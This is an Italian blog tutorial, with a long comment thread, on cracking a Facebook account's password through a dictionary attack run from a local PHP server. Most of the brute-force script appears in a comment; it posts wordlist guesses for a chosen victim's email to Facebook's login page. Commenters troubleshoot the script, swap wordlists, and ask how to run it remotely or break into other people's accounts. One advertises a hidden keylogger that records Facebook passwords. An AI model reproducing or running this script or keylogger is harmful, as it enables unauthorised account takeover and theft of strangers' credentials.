Nota: L’articolo è stato ovviamente scritto a solo scopo educativo. L’utilizzo di tale tecnica per rubare password altrui è ovviamente illegale.
Ecco un semplice script php realizzato da ac007 che ci permetterà di recuperare facilmente la password di un account facebook il tutto effettuando un semplice attacco a dizionario.
Per iniziare copiamo l’intero script (compreso tra il “<?” e il “?>“) visualizzabile al seguente indirizzo, ed incolliamolo in un comune editor di testo (anche il blocco note di Windows va benissimo) facendo però attenzione a salvare il file con il seguente nome e la seguente estensione: brute.php.
Nota: La sequenza di caratteri”<?” e “?>” in una pagina web, serve ad indicare al browser rispettivamente l’inizio e la fine di codice Php.
Ora dobbiamo creare o cercare in rete un dizionario che contenga delle password comuni da sfruttare nel nostro per portare a termine con successo il nostro attacco. Possiamo trovarne uno al seguente indirizzo realizzato da MERCATANTI.
Apriamo adesso il file brute.php e modifichiamo la seguente riga:
$dictionary =dirname(__FILE__)."\wordlist\mil-dic.txt";
in questo modo:
$dictionary =dirname(__FILE__)."\nome_file_dizionario.txt";
Nota: Se abbiamo deciso di utilizzare il file dizionario linkato in questo articolo, il codice da inserire sarà il seguente: $dictionary =dirname(__FILE__).”\PasswordListTA.txt;.
Per iniziare l’attacco dobbiamo caricare lo script e il dizionario in una stessa directory ed avviare successivamente il nostro Web Server Locale (Se siamo utenti Mac possiamo usare Mamp mentre se siamo utenti Windows possiamo usare Wamp).
Puntiamo infine il nostro browser predefinito all’indirizzo del nostro web server locale (di solito l’url è simile alla seguente: “http://localhost:8888/brute.php”) e forniamo l’email dell’account facebook di cui vogliamo conoscere la password per iniziare l’attacco.
Ecco uno screenshot che mostra lo script brute.php appena caricato sul web server locale .
Dopo aver inserito l’email di cui si vuole conoscere la password, premiamo sul pulsante Submit per iniziare l’attacco. Il risultato verrà caricato sempre nella stessa pagina (http://localhost:8888/brute.php) e, più precisamente,vedremo scorrere tutte le chiavi presenti nel dizionario (quello usato nella guida è mil-dic.txt) che di volta in volta vengono testate dallo script. Se una delle seguenti chiavi presenti nel dizionario corrisponde alla password della vittima lo script ci fornirà il seguente output: “Password found : password_corrispondente”
Ecco un ulteriore screenshot:






(2 votes, average: 4,50 out of 5)
ok, funziona. il problema ora è un dizionario serio..qualche suggerimento?o qualche programma che crei un dizionario..
ciao scusa potresti dirmi come hai fatto visto ke a me esce il testo dello script quando richiamo il file brute.php eppure ho seguito passo passo la guida… ti ringrazio bfeste
allora..per questo problema devi modificare lo script all'inizio mettendo
<?php
al posto di
<?
fammi sapere se hai altri problemi…
ciao mi potresti dare lo script corretto al 100%? qua pure facendo tutte ste correzioni non va e mi dice errore nella riga 64
Potresti dirmi come hai fatto?? A me continua a dare tutte not found (nonostante ci sia la pass giusta…)
lo script è corretto, se vi dà errori ditemi che tipo di errore è, e cerco di spiegarvi come risolverlo..
ti dà tutte not found?hai lo script più recente (prova a ri-copiarlo di nuovo..)?ci sono simboli strani oppure lettere maiuscole nella pwd?
ti metto cosa esce cosi capisci meglio:
$value) { $data.=$key."=".urlencode($value)."&"; } return $data; } set_time_limit(0); ini_set('output_buffering',true); $dictionary =dirname(__FILE__).”PasswordListTA.txt"; // need dictionary to password list function CheckItOut($email,$pass) { $ret=false; $useragent = "Opera/9.21 (Windows NT 5.1; U; tr)"; $data = setData($email,$pass); $ch = curl_init('https://login.facebook.com/login.php?login_attempt=1'
; curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_ENCODING , "gzip,deflate"); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $data); curl_setopt($ch, CURLOPT_USERAGENT, $useragent); curl_setopt($ch, CURLOPT_COOKIEFILE, dirname(__FILE__).'/cookie.txt'); curl_setopt($ch, CURLOPT_COOKIEJAR, dirname(__FILE__).'/cookie.txt'); $source=curl_exec($ch); $info=curl_getinfo($ch); if($info["redirect_count"]==1) { $ret=true; } return $ret; } echo "
Entry Email Address below to Bruteforce…
Email Address:
Click the Submit Button to Start..
"; if(isset($_POST['username'])) { $username =$_POST['username']; if(!is_file($dictionary)){echo "$dictionary is not file";exit;} $lines=file($dictionary); echo "Attack Starting..
"; sleep(3); echo "Attack Started, brute forcing..
"; foreach($lines as $line) { $line=str_replace("rn","",$line); if(CheckItOut($username,$line)) { echo "[+] username:$username , password:$line – Password found : $line
"; $fp=fopen('cookie.txt','w'); fwrite($fp,'successfully pass:'.$line); exit; }else{ echo "[-] username:$username , password:$line – Password not found :$line
"; } /** * Print the result direct onto the browser screen… */ ob_flush(); flush(); } } ?>
qst è ciò ke mi da come faccio a risolvere grazie e buon natale
scusa se ti infastidisco ancora.. ora mi da il seguente errore:
Parse error: parse error in C:wampwwwbrute.php on line 26
enzo: ricopia il codice, sembra che non lo legga come php ma come testuale, manca di sicuro qualche tag. per il secondo errore, controlla aprendo con blocco note il codice se alla riga 25 c'è il ; finale, se non c'è mettilo.
guarda il codice sembra a posto proprio nn riesco a capire dov'è l'errore nn è ke puoi postarmi tu il codice corretto te ne sarei grato… ancora grazie per la disponibilità
chi mi aiuta?
Ho copiato lo script più recente ma continua a non trovarmi la password.
A chi funziona, potrebbe mandarmi il link dello script definitivo?
Grazie
Sono MERCATANTI, non mercantini e non è il Mercatanti'S Lab, ma http://www.luca-mercatanti.com
Correzione apportata… scusami per l'errore!
oppure al posto di un bel attacco a dizionario nn si potrebbe fare con un algoritmo ??? perchè è logico che quando c' è un numero tipo cio8 l' attacco a dizionario risulta inutile almeno credo …
ragazzi ho un problema, ho windows vista e una volta avviato il wamp nn so cosa fare.
Ragazzi a me da sempre not found anche se nel dizionario la password c'è.
Ho usato l'ultimo script postato quello con $line=str_replace("rn","",$line);.
Quale può essere il problema?
CIAO! mi potreste aiutare su una cosetta??? da ieri non riesco ad accedere su Facebook o su msn,e ogni volta che cerco di farlo compare sopra qst url http://www.tomshw.it/forum/register.php?dhttps://… cosa devo fare???qual'è il problema??? mi raccomando,rispondetemi come rispondereste ad un bambino visto che sn ignorante nell'ambito del pc…
ciao a tutti….
scusate ma ho seguito la guida ma non mi è proprio chiaro il tutto allora ho scaricato i due file txt (a parte che il dizionario ne ho cercato un altro perchè non riuscivo a scaricarlo) comunque ho anche installato wamp seguendo semplicemente la procedura anche se sicuramente c'è qualcosa di sbagliato perchè per me devo inserire qualcosa….mi potreste spiegare in breve la procedura per installare wamp e per caricare i due file in un unica directory…vi prego e urgente e stra importante!
dove trovo i script
CIAO CONTATTAMI A QUESTO INDIRIZZO giuliobozzolan@libero.it ,HO UN AFFARE DA PROPORTI.. GRAZIE
Funziona….però bisognerebbe inserire un stringa per permettere al programma di trovare anche le password composte da numeri e lettere….
Intendi dire un dizionario? Cmq si! si potrebbe trovare/creare qualche script che in base a qualche dato inserito sulla vittima(data di nascita, nome, cognome) generi un file di testo contente delle potenziali password!
Anche quella che dici potrebbe essere un’idea…nel mio commento precedente volevo dire che nello script bisognerebbe inserire una riga che permetta al programma di trovare le password formate anche da numeri ( es. ciao2, c1ao, gatto34, ecc…). Il programma infatti trova solo password “semplici”, ovvero composte da sole lettere( es. ciao, cane, gatto, cammello, ecc….)
ciao sto provando ma ho un problema e chiedo a Paolo se mi puo' aiutare, in pratica giunto al momento di far partire l'attacco col submit mi da un errore che si chiama:
Fatal error: Call to undefined function curl_init() in C:wampwwwattacco1brute.php on line 32
mi sapete aiutare?
grazie
Idem! per favore qualcuno che rispondaaaaa!
ciao sto provando ma ho un problema e chiedo a Paolo se mi puo' aiutare, in pratica giunto al momento di far partire l'attacco col submit mi da un errore che si chiama:
Fatal error: Call to undefined function curl_init() in C:wampwwwattacco1brute.php on line 32
mi sapete aiutare?
grazie
Controlla se hai attive sul server locale le librerie curl!
Se mi dici anche come fare per vedere se sono attive te ne sarei grato perche' da solo non c'arrivo.
salve, lo script funziona alla perfezione.. avrei una domanda da fare ai più esperti.. è possibile far girare lo script in remoto?? cioè a pc spento lo script deve testare le password… c'è un servizio che permette ciò?? grazie.. comunque voglio segnalarvi questo dizionario di password.. http://rs55.rapidshare.com/files/100861231/28GBwo…
il file è 78 Mb compresso e decompresso il file .txt è circa 25 Gb… :) hihihih un pò grandino….
oh grande bel sito!!!Io sono riuscito a fare partire lo script ma poi mi dice Fatal error: Call to undefined function curl_init() in C:wampwwwbrute.php on line 32
ciao ottimo articolo!ho seguito passo-passo la tua guida senza problemi.Ho un unico intoppo:dopo aver installato MAMP(sono su Mac), ho copiato il file brute.php e la lista password nella cartella htdocs, dopodichè ho avviato mamp. Mamp apre la sua homepage perfettamente ma andando poi a digitare http://localhost:8888/brute.php mi restituisce una pagina bianca. Il file php_error.log dice:"[07-Mar-2010 23:57:13] PHP Parse error: syntax error, unexpected T_FUNCTION in /Applications/MAMP/htdocs/brute.php on line 13
[07-Mar-2010 23:57:33] PHP Warning: Unexpected character in input: '' (ASCII=92) state=1 in /Applications/MAMP/htdocs/brute.php on line 8".
Ti ringrazio da parte di tutta la comunità mac!!!!
Io ho provato ma dice che c'è stato un errore di caricamento pagina…http://localhost:8888/brute.php
Il progarmma gira alla perfezione..
Qualcuno potrebbe dirmi dove trovare un buon dizionario? che lì dove è indicato non lo trovo..
per favore passatemi solo link diretti alla fonte..
grazie
ciao ragazzi una mia amica ha smarrito o qualkuno è entrato e gliel'ha cambiata la password di facebook ……..Ora io vorrei trovargli la password come faccio i link ke sn presenti in questo sito sono offline come faccio potete rimettere online questi link?? o anke se mi date un consiglio come eliminargli l'account
vi prego aiutatemiiiiiiiiiiii
ma questa tecnica si chiama wordlist attack, non è un bruteforce!
praticamente consiste nel provare al posto dell'utente una serie di password già pre-selezionate di un dizionario.txt in cui ogni password è separata da un acapo, questo consente di risparmiare all'utente di provare tutte le password manualmente, ma amenochè la vittima non abbia il QI di un comodino sarà pressochè impossibile che imposti una password da dizionario del tipo cane, casa, auto, gatto, letto….
un bruteforce, invece è una tecnica in cui vengono generati un definito numero di caratteri (definito dall'attaccante) alti e bassi, e numeri. questo vuol dire che il programma genererà tutte le combinazioni possibili per un certo numero di caratteri in cui è possibile combinare numeri e lettere e caratteri speciali. questa tecnica non fallisce mai, visto che prima o poi a forza di combinazioni uscirà la combinazione vincente tra tutte le possibili, c'è solo un piccolo problemino… che per una password di 8 caratteri alti e bassi, con numeri e caratteri speciali tipo – _ * + etc etc… un quad core da 2,5ghz impiegerebbe diverse centinaia di anni…
ribadisco che le tecniche valide sono ben altre.
boh ho provato varie volte ma quando clicco su Submit mi dice "L'indirizzo http://localhost/brute.php cui si è tentato di accedere, non è al momento disponibile"
A CHI VA potete gentilmente linkare lo scripThanks a lot
http://www.pcexpert-blog.com/snippet/brute.txt
scusate ma a me da quest'errore
Fatal error: Call to undefined function curl_init() in C:ProgrammiEasyPHP5.3.0wwwbrute.php on line 32
allora io uso mac e safari. nel momento in cui faccio partire il link http://localhost:8888/brute.php mi esce solo una schermata bianca!!!! cosa devo fare?
ragazzi a me continua ad uscire una pagina bianca… mi aiutate per favore? uso mac….. quindi mamp + safari … help
mi dice impossibile visualizzare la pagina all'indirizzo http://localhost:8888/brute.php.. come posso fare? c'è scritto che è impossibile collegarsi alla porta 8888
IO MI SONO PERSA GIA AL PUNTO DEL DIZIONARIO :p CM SI CREA? O DOVE LO CERCO??? E DOVE VADO A SOSTITUIRE LA RIGA $dictionary =dirname(__FILE__)."wordlistmil-dic.txt";……NON CI HO CAPITO MOLTO………PER FAVORE HELPPPPPP
Ciao, oltre ai complimenti meritatissimi per il tuo lavoro, vorrei chiederti da dove posso scaricare il dizionario.
grazie in anticipo, Federico. ^^
Salve a tutti innanzitutto complimenti per il sito e per la guida
vi espongo il mio problema ho fatto diverse prove sul mio account inserendo la mia pass nel dizionario,bene me la trova solo se la scrivo tra le prime 3 ; se la scrivo dopo mi dice password not found, succede anche a voi??
Inoltre uso un dizionario diverso da quello che c'e postato perche quello non lo trovo ma se potete datemi il link esatto Grazie in anticipo a tutti!!!
Salve a tutti innanzitutto complimenti per il sito e per la guida,
ho riscontrato il seguente problema: testando sul mio account e inserendo la mia password nel dizionario me la trova facilmente, ma solo se la scrivo tra le prime 3, se invece la scrivo piu in fondo nel dizionario mi ritorna password not found pur provandola,capita pure a voi? non so se mi sono spiegato bene,
inoltre il dizionario che ho provato non è quello linkato qui perche non riesco a trovarlo se qualcuno mi puo mandare il link corretto ne sono grato,
ringrazio anticipatamente spero in una risposta per poter risolvere
Ciao volevo sapere.. installando tutto ciò che scarichiamo dai link che dai tu, dall antivirus vengono riconosciuti come VIRUS?
Consiglio EasyPHP per la creazione di un server locale, e PSPad come editor per file con estensione .php
Tutti free, e non sto facendo pubblicità: semplicemente sono tra i migliori che ho trovato
Ma non ho trovato un dizionario: qualcuno potrebbe postarmi un link?
Salve, a me dice sempre password not found nonostante abbia fatto tutto correttamente (o almeno credo!)…a voi funziona ancora lo script?
Salve, mi pare di aver fatto tutto correttamente ma mi dice sempre "password not found"…a voi funziona ancora?? grazie
Ragazzi ho bisogno di una mano…come faccio a inserire questo dizionario nel codice, e che diavolo è un dizionario!? qualcuno può farlo per me????? è urgente
se voglio trovare l'email di un utente facebook che si è inserito con falso nome e io voglio scoprire chi è??
Ehi scusate a me dice:
Parse error: parse error in C:wampwwwrute.php on line 30
cosa c'è di sbagliato??
a me da
Fatal error: Allowed memory size of 134217728 bytes exhausted (tried to allocate 8388608 bytes) in D:wampwwwNuova cartellarute.php on line 71
qualcuno sa dirmi qualcosa!!!
che indirizzo hai utilizzato ??
Esistono solo due modi per sapere la password di Facebook:1°) Farsela dire dal proprietario dell’account. Magari facendo un po' di social engineering.2°) Registrarla mentre viene digitata dalla tastiera.In questo post : http://balzanomichele.blogspot.com/2010/12/rubare…
mi occuperò del secondo metodo. Per questo scopo ho realizzato un software che una volta eseguito si auto esegue ad ogni riavvio del sistema e si rende invisibile. Il software rimane in attesa in memoria e ogni volta che vi collegate al sito di Facebook registra utente e password digitati dalla tastiera. Il software non registra le credenziali di altri siti solo quelle del sito di Facebook. Il software si chiama fbrecpwd.exe (fACEbOOKrecORDERpASSwORd) in pratica è un Keylogger che registra tutto ciò che viene digitato dalla tasiera quando avverte che siamo sul sito di Facebook.
Scusami, Questo vale sol avendo accesso fisico al pc della vittima? gusto?
Ciao! io non ho capito proprio il passaggio di wamp, come faccio a caricare lo script???
Ah no ho capito… però il problema è sul metodo CheckItOut… cosa è dovuto?
non trovo lo script sto capendo poco …..mi puoi spiegare un po meglio grazie
scusa ma da dove lo copio lo script iniziale? non sono molto ferrato grazie…(Per iniziare copiamo l’intero script (compreso tra il ““) )
allora io ho praticamente fatto tutto, il dizionario e il brute.php. in una stessa cartella installato wamp e…… ecco il 2 file dove li metto? non riesco a capire bene come funge il programma
ciao, problema ovviamente altrimenti non scriverei, al max solo i complimeti, ho qualche problema nelrichiamare il brute.php dal browser?!?!?! help me pleaseio ho copiato i 2 file (brute.php e il dizionario) ma non succede nulla cosa potrei aver sbagliato?
ciao complimenti per il sito, ma ho qualche problema
ho copiato il brute,php e il dizionario nella cartella di wamp, ma quando digito http://locolhoste:8888/brute.php non succede nulla, cosa potrei aver sbagliato?
sei riuscito poi a farlo?
ciao complimenti per il sito, ma ho qualche problema
io ho linux,quale programma potrei usare al posto di wamp?